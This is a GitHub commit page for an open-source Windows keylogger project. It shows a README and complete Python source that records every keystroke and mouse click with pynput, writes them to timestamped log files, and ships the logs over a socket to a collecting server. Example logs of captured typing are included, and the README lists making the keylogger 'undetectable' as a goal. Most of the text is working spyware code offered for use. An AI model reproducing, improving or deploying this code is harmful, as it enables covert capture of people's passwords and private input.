Skip to content

Commit

Permalink
Merge pull request #2 from adisakshya/keylogger_v2.0_patch_1
Browse files Browse the repository at this point in the history
Keylogger v2.0 patch 1
  • Loading branch information
adisakshya authored Mar 9, 2019
2 parents 25af3fb + 9a7d0c1 commit c611744
Show file tree
Hide file tree
Showing 12 changed files with 134 additions and 174 deletions.
30 changes: 19 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# A keylogger for Windows
[![MIT Licence](https://badges.frapsoft.com/os/mit/mit.png?v=103)](https://opensource.org/licenses/mit-license.php)
[![GitHub version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=2.0.0&x2=0)](http://badge.fury.io/gh/boennemann%2Fbadges)

Welcome to the keylogger repo!

Expand All @@ -9,9 +10,10 @@ A keylogger is a program that records your keystrokes, and this program saves th

Currently, there is one keylogger program for one of the major operating systems; Windows.

---
## Windows Installation
keylogger requires:
1. python 3x
1. python 3X
2. pynput

### Step 1:
Expand All @@ -20,9 +22,6 @@ Download the repository using github or git eg.git clone https://github.com/adis
### Step 2:
Install the modules by running `pip install -r requirements.txt`

### Step 3:
Install the script by running `python setup.py install`

---
## How to run it?

Expand All @@ -37,14 +36,20 @@ This will activate the server.

### Step 2:

Run following command to activate the keylogger
Run following command to activate the key-logger
```
py logger.py
py key_logger.py
```
This will activate the logger, and it will start logging keyboard strokes and mouse-clicks.

Run following command to activate the mouse-logger
```
py mouse_logger.py
```

This will activate the logger, and it will start logging keyboard strokes and mouse-clicks in two separate log files (txt).

As soon as the user press the "ESC" key, the logger sends the files to the remote server active in another directory
and logs are transfered.
and logs are transfered into one server copy of logs (txt).

---
## Example Logs
Expand All @@ -53,6 +58,8 @@ Keyboard Logs: [key_log.txt](https://github.com/adisakshya/keylogger/blob/master

Mouse Logs: [mouse_log.txt](https://github.com/adisakshya/keylogger/blob/master/examples/mouse_log_example/mouse_log.txt)

Server Logs: [server_copy.txt](https://github.com/adisakshya/keylogger/blob/keylogger_v2.0_patch_1/examples/server_copy_of_logs_example/server_copy_of_logs.txt)

---
### Uses

Expand All @@ -66,9 +73,10 @@ Some uses of a keylogger are:

---
### To-Do
1. keylogger for mac
2. keylogger for linux
3. Make the keylogger undetectable
1. create setup file for v2.0
2. keylogger for mac
3. keylogger for linux
4. Make the keylogger undetectable


Feel free to contribute to fix any problems, or to submit an issue!
Expand Down
21 changes: 12 additions & 9 deletions bin/client.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
import socket
import sys

def send(filename):
s = socket.socket()
s.connect(("localhost",9999))
f = open (filename, "rb")
l = f.read(1024)
while (l):
s.send(l)
l = f.read(1024)
s.close()
files = ['key_log.txt', 'mouse_log.txt']

def send_logs():
s = socket.socket()
s.connect(("localhost",9999))

for filename in files:
f = open (filename, "rb")
l = f.read(1024)
s.send(l)

s.close()
2 changes: 0 additions & 2 deletions bin/install_able-python-logger-scripts/requirements.txt

This file was deleted.

22 changes: 0 additions & 22 deletions bin/install_able-python-logger-scripts/setup.py

This file was deleted.

56 changes: 29 additions & 27 deletions ...ython-logger-scripts/keylogger-windows.py → bin/key_logger.py
Original file line number Diff line number Diff line change
@@ -1,27 +1,29 @@
from pynput import keyboard
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_press(key):
try:
logging.info('{0} pressed'.format(
key.char))
except AttributeError:
logging.info('{0} pressed'.format(
key))

def on_release(key):
logging.info('{0} released'.format(
key))
if key == keyboard.Key.esc:
# Stop listener
return False

# Collect events until released
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
from pynput import keyboard
import logging
from client import send_logs

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_press(key):
try:
logging.info('{0} pressed'.format(
key.char))
except AttributeError:
logging.info('{0} pressed'.format(
key))

def on_release(key):
logging.info('{0} released'.format(
key))
if key == keyboard.Key.esc:
# Stop listener
send_logs()
return False

# Collect events until released
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
39 changes: 0 additions & 39 deletions bin/logger.py

This file was deleted.

Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@
from pynput.mouse import Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_click(x, y, button, pressed):
if pressed:
logging.info('"{0}", {1}'.format(button, (x, y)))

def on_scroll(x, y, dx, dy):
logging.info('"{0}", {1}'.format('Button.scroll', (x, y)))

with Listener(on_click=on_click, on_scroll=on_scroll) as listener:
listener.join()
from pynput.mouse import Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_click(x, y, button, pressed):
if pressed:
logging.info('"{0}", {1}'.format(button, (x, y)))

def on_scroll(x, y, dx, dy):
logging.info('"{0}", {1}'.format('Button.scroll', (x, y)))

with Listener(on_click=on_click, on_scroll=on_scroll) as listener:
listener.join()
20 changes: 8 additions & 12 deletions bin/server.py
Original file line number Diff line number Diff line change
@@ -1,27 +1,23 @@
import socket
import sys

files = ['key-logs.txt', 'mouse-logs.txt']

s = socket.socket()
s.bind(("localhost",9999))
s.listen(10)
i = 0

print('listening on port: 9999')
while True:
sc, address = s.accept()

print('Got connection from: ',address)
f = open('new_'+ str(i)+".txt",'wb') #open in binary
i=i+1
while (True):

f = open('server-copy.txt','wb') # open in binary
for i in range(len(files)):
l = sc.recv(1024)
f.write(l)
"""
while (l):
f.write(l)
l = sc.recv(1024)
"""
f.write(l)
f.close()


sc.close()

s.close()
22 changes: 22 additions & 0 deletions examples/keyboard_log_example/key_log_client_side
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
["2019-03-09 13:15:35,762", a pressed]
["2019-03-09 13:15:35,918", 'a' released]
["2019-03-09 13:15:36,028", d pressed]
["2019-03-09 13:15:36,137", 'd' released]
["2019-03-09 13:15:36,262", i pressed]
["2019-03-09 13:15:36,372", 'i' released]
["2019-03-09 13:15:36,481", s pressed]
["2019-03-09 13:15:36,606", 's' released]
["2019-03-09 13:15:36,731", a pressed]
["2019-03-09 13:15:36,825", 'a' released]
["2019-03-09 13:15:36,950", k pressed]
["2019-03-09 13:15:37,012", 'k' released]
["2019-03-09 13:15:37,153", s pressed]
["2019-03-09 13:15:37,278", 's' released]
["2019-03-09 13:15:37,340", h pressed]
["2019-03-09 13:15:37,418", 'h' released]
["2019-03-09 13:15:37,543", y pressed]
["2019-03-09 13:15:37,622", 'y' released]
["2019-03-09 13:15:37,715", a pressed]
["2019-03-09 13:15:37,856", 'a' released]
["2019-03-09 13:15:40,153", Key.esc pressed]
["2019-03-09 13:15:40,294", Key.esc released]
18 changes: 4 additions & 14 deletions examples/mouse_log_example/mouse_log.txt
Original file line number Diff line number Diff line change
@@ -1,14 +1,4 @@
["2019-03-02 22:00:54,480", "Button.left", (822, 157)]
["2019-03-02 22:00:57,526", "Button.right", (507, 335)]
["2019-03-02 22:00:59,949", "Button.right", (954, 544)]
["2019-03-02 22:01:01,859", "Button.left", (1009, 258)]
["2019-03-02 22:01:03,965", "Button.left", (996, 515)]
["2019-03-02 22:01:04,481", "Button.right", (996, 515)]
["2019-03-02 22:01:05,512", "Button.left", (1123, 229)]
["2019-03-02 22:01:06,761", "Button.left", (952, 551)]
["2019-03-02 22:01:08,340", "Button.left", (952, 551)]
["2019-03-02 22:01:09,027", "Button.right", (952, 551)]
["2019-03-02 22:01:09,621", "Button.right", (952, 551)]
["2019-03-02 22:01:10,948", "Button.left", (1077, 269)]
["2019-03-02 22:01:12,231", "Button.left", (634, 319)]
["2019-03-02 22:01:21,100", "Button.left", (803, 202)]
["2019-03-09 13:15:27,621", "Button.left", (386, 154)]
["2019-03-09 13:15:39,793", "Button.left", (386, 154)]
["2019-03-09 13:15:42,215", "Button.left", (654, 41)]
["2019-03-09 13:15:43,723", "Button.left", (990, 324)]
24 changes: 24 additions & 0 deletions examples/server_copy_of_logs_example/server_copy_of_logs.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
["2019-03-09 13:15:35,762", a pressed]
["2019-03-09 13:15:35,918", 'a' released]
["2019-03-09 13:15:36,028", d pressed]
["2019-03-09 13:15:36,137", 'd' released]
["2019-03-09 13:15:36,262", i pressed]
["2019-03-09 13:15:36,372", 'i' released]
["2019-03-09 13:15:36,481", s pressed]
["2019-03-09 13:15:36,606", 's' released]
["2019-03-09 13:15:36,731", a pressed]
["2019-03-09 13:15:36,825", 'a' released]
["2019-03-09 13:15:36,950", k pressed]
["2019-03-09 13:15:37,012", 'k' released]
["2019-03-09 13:15:37,153", s pressed]
["2019-03-09 13:15:37,278", 's' released]
["2019-03-09 13:15:37,340", h pressed]
["2019-03-09 13:15:37,418", 'h' released]
["2019-03-09 13:15:37,543", y pressed]
["2019-03-09 13:15:37,622", 'y' released]
["2019-03-09 13:15:37,715", a pressed]
["2019-03-09 13:15:37,856", 'a' released]
["2019-03-09 13:15:40,153", Key.esc pressed]
["2019-03-09 13:15:40,294", Key.esc released]
["2019-03-09 13:15:27,621", "Button.left", (386, 154)]
["2019-03-09 13:15:39,793", "Button.left", (386, 154)]
22 changes: 0 additions & 22 deletions setup.py

This file was deleted.

0 comments on commit c611744

Please sign in to comment.